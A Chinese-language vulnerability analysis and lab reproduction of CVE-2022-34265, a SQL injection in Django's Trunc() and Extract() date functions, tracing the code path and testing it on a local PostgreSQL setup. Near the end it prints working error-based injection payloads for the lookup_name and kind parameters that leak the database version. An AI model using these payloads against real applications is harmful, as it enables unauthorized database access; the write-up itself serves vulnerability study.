漏洞介绍
Django是一个基于Python的开源Web应用框架。CVE-2022-34265是一个SQL注入漏洞,攻击者可以通过传递恶意数据作为kind/lookup_name的值,如果应用程序在将这些参数传递给Trunc() 和 Extract() 数据库函数(日期函数)之前没有经过输入过滤或转义,则容易受到SQL注入攻击。
漏洞范围
Django主分支
Django 4.1(测试中)
Django 4.0版本:< 4.0.6
Django 3.2版本:< 3.2.14
漏洞靶场
aeyesec/CVE-2022-34265: PoC for CVE-2022-34265 (Django) (github.com)
使用该项目的环境
docker-compose.yml
1 | version: "2.1" |
Dockerfile
1 | FROM python:3.9 |
漏洞原理
首先明确可控的参数,在漏洞详情中有提到过 Extract 中的 lookup_name 和 Trunc 中的 kind 这两个参数,这俩在调试过程中发现其实就是 lookup_type 。
因为具体过程比较复杂,在省略了一系列包括使用 F() 对象生成 sql 表达式、查找子类等等过程后,笔者总结形成 sql 的过程大致如下:
django\db\models\functions\datetime.py -> class Extract / (class Trunc -> class TruncBase)
django\db\models\functions\datetime.py#L41-L114, L335-L351, L219-L331
django\db\models\query.py ->class QuerySet
django\db\models\query.py#L213
Django 中对数据库的所有查询以及更新交互都是通过 QuerySet 来完成的,本质上是一个懒加载的对象,在内部,创建、过滤、切片和传递一个 QuerySet 不会真实操作数据库,在对查询集提交之前,不会发生任何实际的数据库操作。
django\db\models\functions\datetime.py -> as_sql
django\db\models\functions\datetime.py#L53-L75
as_sql 用于生成数据库函数的 SQL 片段,而针对 Oracle 后端数据库调用的是 as_oracle 。
django\db\models\sql\compiler.py -> class SQLCompile -> compile
django\db\models\sql\compiler.py#L491-L497
compile 为每个表达式生成 sql,并将结果用逗号连接起来,然后在模板中填入数据,并返回 sql 和参数。
django\db\models\lookups.py -> Lookup
django\db\models\lookups.py#L20-L186
最后笔者发现可以通过 django\db\backends\ [数据库] \operations.py (就是环境搭建部分 DATABASES 中 ENGINE 对应的配置)中的 datetime_extract_sql 以及 datetime_trunc_sql 方法对于 lookup_type 这个参数的处理来判断是否存在漏洞。
django\db\backends\ postgresql \operations.py#L89-L96
以下调试部分都基于上面总结的过程来进行分析。
PostgreSQL
1 | def datetime_extract_sql(self, lookup_type, field_name, tzname): |
django\db\backends\ postgresql \operations.py#L89-L96
date_extract_sql
1 | def date_extract_sql(self, lookup_type, field_name): |
django\db\backends\ postgresql \operations.py#L49-L59
Extract 的 sql 语句:

调试获取到的 sql 语句如下:
1 | EXTRACT('year' FROM "vulmodel_experiment"."start_datetime" AT TIME ZONE 'UTC') |
Trunc 的 sql 语句:

1 | DATE_TRUNC('year', "vulmodel_experiment"."start_datetime"); |
由上构造 payload:
1 | /extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- + |
报错注入如下:

因此 Extract 和 Trunc 在 PostgreSQL 中是存在漏洞的。
漏洞复现
payload为
1 | /extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- + |
访问http://127.0.0.1:4131/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +

报错回显中显示了数据库的版本
参考
https://xz.aliyun.com/news/11074
aeyesec/CVE-2022-34265: PoC for CVE-2022-34265 (Django) (github.com)